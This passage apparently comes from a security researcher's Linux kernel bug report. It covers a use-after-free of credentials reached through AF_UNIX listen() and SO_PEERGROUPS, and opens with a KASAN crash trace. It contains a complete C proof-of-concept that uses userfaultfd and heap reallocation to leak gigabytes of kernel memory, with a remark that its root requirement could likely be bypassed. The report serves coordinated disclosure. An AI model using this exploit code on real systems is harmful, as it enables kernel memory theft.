./include/linux/atomic/atomic-instrumented.h:27 ./include/linux/jump_label.h:266 ./include/linux/jump_label.h:276 ./include/trace/events/irq.h:142 kernel/softirq.c:559) Last potentially related work creation: kasan_save_stack (mm/kasan/common.c:38) kasan_record_aux_stack (mm/kasan/generic.c:348) call_rcu (kernel/rcu/tree.c:2988 kernel/rcu/tree.c:3067) init_peercred (./include/linux/cred.h:288 ./include/linux/cred.h:281 net/unix/af_unix.c:613) unix_listen (net/unix/af_unix.c:648) __sys_listen (net/socket.c:1727) __x64_sys_listen (net/socket.c:1734) do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113) The buggy address belongs to the object at ffff8880355c7c40 which belongs to the cache cred_jar of size 192 The buggy address is located 36 bytes inside of 192-byte region [ffff8880355c7c40, ffff8880355c7d00) The buggy address belongs to the page: page:ffffea0000d57100 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x355c4 head:ffffea0000d57100 order:2 compound_mapcount:0 compound_pincount:0 flags: 0x4000000000010200(slab|head|zone=1) raw: 4000000000010200 ffffea0000d57208 ffffea0000d57008 ffff88800642d1c0 raw: 0000000000000000 0000000000190019 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff8880355c7b00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff8880355c7b80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc >ffff8880355c7c00: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb ^ ffff8880355c7c80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff8880355c7d00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ``` # root-only reproducer for normal systems The following is a simple reproducer that attempts to use this issue to dump gigabytes of out-of-bounds kernel memory via SO_PEERGROUPS, which effectively reads a copy length (sk->sk_peer_cred->group_info->ngroups) from a dangling pointer in groups_to_user(). (Note: There are two functions called groups_to_user(). The relevant one is in net/core/sock.c.) This isn't quite a real exploit - it **requires root privileges** to call setgroups() and, if userfaultfd is restricted, also to trap a kernel fault with userfaultfd. I expect that you could get around those limitations with some work though, assuming that the attacker is running in a normal Linux userspace. Note that this bug can still be used to dump gigabytes of kernel heap memory, even if CONFIG_HARDENED_USERCOPY is enabled, because the out-of-bounds read occurs outside of usercopy code: ``` static int groups_to_user(gid_t __user *dst, const struct group_info *src) { struct user_namespace *user_ns = current_user_ns(); int i; for (i = 0; i < src->ngroups; i++) if (put_user(from_kgid_munged(user_ns, src->gid[i]), dst + i)) return -EFAULT; return 0; } ``` ``` // gcc -o peergroups-leak peergroups-leak.c -Wall -pthread #define _GNU_SOURCE #include <pthread.h> #include <stdbool.h> #include <stdlib.h> #include <sys/stat.h> #include <err.h> #include <unistd.h> #include <sys/socket.h> #include <sys/un.h> #include <grp.h> #include <sys/wait.h> #include <sys/syscall.h> #include <fcntl.h> #include <sys/eventfd.h> #include <limits.h> #include <stdio.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/userfaultfd.h> #include <linux/membarrier.h> // kernel sets upper limit: 65536. // up to 2 pages will be served by slabs, we probably don't want that. // choose a size between order-3 and order-4 (means needs order-4 page) #define ALLOC_SIZE ((0x1000 << 3) * 3 / 2) #define NUM_GROUPS ((ALLOC_SIZE - 8) / 4) #define OUTPUT_MAPPING_LEN 0x400000000 static int s; static int launch_eventfd; static unsigned char *output_mapping; static void *getsockopt_threadfn(void *dummy) { eventfd_t evval; if (eventfd_read(launch_eventfd, &evval)) err(1, \"eventfd_read\"); socklen_t optlen = INT_MAX; if (getsockopt(s, SOL_SOCKET, SO_PEERGROUPS, output_mapping, &optlen)) { perror(\"getsockopt\"); //system(\"cat /proc/$PPID/maps | grep -v AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"); exit(1); } return NULL; } void dump(char *label) { printf(\"\ === DUMP %s ===\ \", label); system(\"grep 'Node.*Unmovable' /proc/pagetypeinfo\"); } int main(void) { char dummy_char; // set up sleep-inducing mapping output_mapping = mmap(NULL, OUTPUT_MAPPING_LEN+0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (output_mapping == MAP_FAILED) err(1, \"mmap\"); if (mprotect(output_mapping+OUTPUT_MAPPING_LEN, 0x1000, PROT_NONE)) err(1, \"mprotect\"); int uffd = syscall(__NR_userfaultfd, O_CLOEXEC); if (uffd == -1) err(1, \"userfaultfd\"); struct uffdio_api api = { .api = UFFD_API, .features = 0 }; if (ioctl(uffd, UFFDIO_API, &api)) err(1, \"UFFDIO_API\"); struct uffdio_register reg = { .range = {.start = (unsigned long)output_mapping, .len = 0x1000}, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, \"UFFDIO_REGISTER\"); // prepare getsockopt() thread launch_eventfd = eventfd(0, 0); if (launch_eventfd == -1) err(1, \"eventfd\"); pthread_t thread; if (pthread_create(&thread, NULL, getsockopt_threadfn, NULL)) errx(1, \"pthread_create\"); // set up for reallocation primitive int realloc_fd = open(\"/proc/self/maps\", O_RDONLY); if (realloc_fd == -1) err(1, \"open maps\"); char tmpdir[] = \"/tmp/blah.XXXXXX\"; if (mkdtemp(tmpdir) == NULL) err(1, \"mkdtemp\"); if (chdir(tmpdir)) err(1, \"chdir tmpdir\"); char dummy_name[100]; memset(dummy_name, 'A', 99); dummy_name[99] = '\\0'; char move_target[200]; sprintf(move_target, \"d/%s\", dummy_name); mkdir(dummy_name, 0700); char file_path[200]; sprintf(file_path, \"%s/a\", dummy_name); int path_len = strlen(tmpdir) + strlen(file_path); // approximate { int fd = open(file_path, O_CREAT|O_RDWR, 0600); if (fd == -1) err(1, \"open deep file\"); if (mmap((void*)0x10000UL, 0x1000, PROT_READ, MAP_SHARED, fd, 0) == MAP_FAILED) err(1, \"mmap deep\"); } bool half_deep_probed = false; while (path_len < ALLOC_SIZE) { mkdir(\"d\", 0700); if (rename(dummy_name, move_target)) err(1, \"rename\"); if (rename(\"d\", dummy_name)) err(1, \"rename 2\"); path_len += strlen(dummy_name) + 1; if (!half_deep_probed && path_len >= ALLOC_SIZE / 2) { half_deep_probed = true; if (pread(realloc_fd, &dummy_char, 1, 0) != 1) err(1, \"read maps half-deep\"); } } s = socket(AF_UNIX, SOCK_STREAM, 0); if (s == -1) err(1, \"socket\"); struct sockaddr_un bind_addr = { .sun_family = AF_UNIX, .sun_path = \"/tmp/unix-test-socket\" }; unlink(bind_addr.sun_path); if (bind(s, (struct sockaddr *)&bind_addr, sizeof(bind_addr))) err(1, \"bind\"); pid_t child = fork(); if (child == -1) err(1, \"fork\"); if (child == 0) { gid_t gid_list[NUM_GROUPS]; gid_t my_gid = getgid(); for (int i=0; i<NUM_GROUPS; i++) { gid_list[i] = my_gid; // (kernel doesn't deduplicate) } dump(\"before setgroups\"); if (setgroups(NUM_GROUPS, gid_list)) err(1, \"setgroups\"); dump(\"after setgroups, expect -1\"); if (listen(s, 16)) err(1, \"listen in child\"); return 0; } int status; if (waitpid(child, &status, 0) != child) err(1, \"wait\"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, \"child didn't exit cleanly\"); // wildly flailing around in the hope of flushing out the task // (but not the creds yet) usleep(400 * 1000); for (int i=0; i<4; i++) syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, 0); // launch getsockopt, and wait for it to start if (eventfd_write(launch_eventfd, 1)) err(1, \"eventfd_write\"); usleep(500 * 1000); // schedule RCU freeing of the creds if (listen(s, 16)) err(1, \"listen in parent\"); // wait for RCU (twice to be safe - yes, this is senseless voodoo) for (int i=0; i<2; i++) syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, 0); // crappy reallocation attempt, should overwrite length with ASCII dump(\"pre-reallocation, expect +1\"); if (pread(realloc_fd, &dummy_char, 1, 0) != 1) err(1, \"read maps deep\"); dump(\"post-reallocation, expect -1\"); // resume getsockopt struct uffdio_zeropage zeropage = { .range = {.start = (unsigned long)output_mapping, .len = 0x1000} }; if (ioctl(uffd, UFFDIO_ZEROPAGE, &zeropage)) err(1, \"ZEROPAGE\"); // wait for getsockopt to finish if (pthread_join(thread, NULL)) err(1, \"pthread_join\"); // dump results int pagemap_fd = open(\"/proc/self/pagemap\", O_RDONLY); if (pagemap_fd == -1) err(1, \"open pagemap\"); unsigned long filled_pages = 0; for (unsigned long addr = (unsigned long)output_mapping; addr < (unsigned long)output_mapping + OUTPUT_MAPPING_LEN; addr += 0x1000) { uint64_t val; if (pread(pagemap_fd, &val, sizeof(val), addr / 0x1000 * 8) != sizeof(val)) err(1, \"pagemap read\"); if ((val >> 62) == 0) break; filled_pages++; } printf(\"got %lu pages\ \", filled_pages); FILE *hexdump = popen(\"hexdump -C\", \"w\"); if (!hexdump) err(1, \"popen\"); fwrite(output_mapping, filled_pages * 0x1000, 1, hexdump); pclose(hexdump); } ``` # disclosure deadline This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2021-12-27. Found by: jhannh@google.com </code></pre>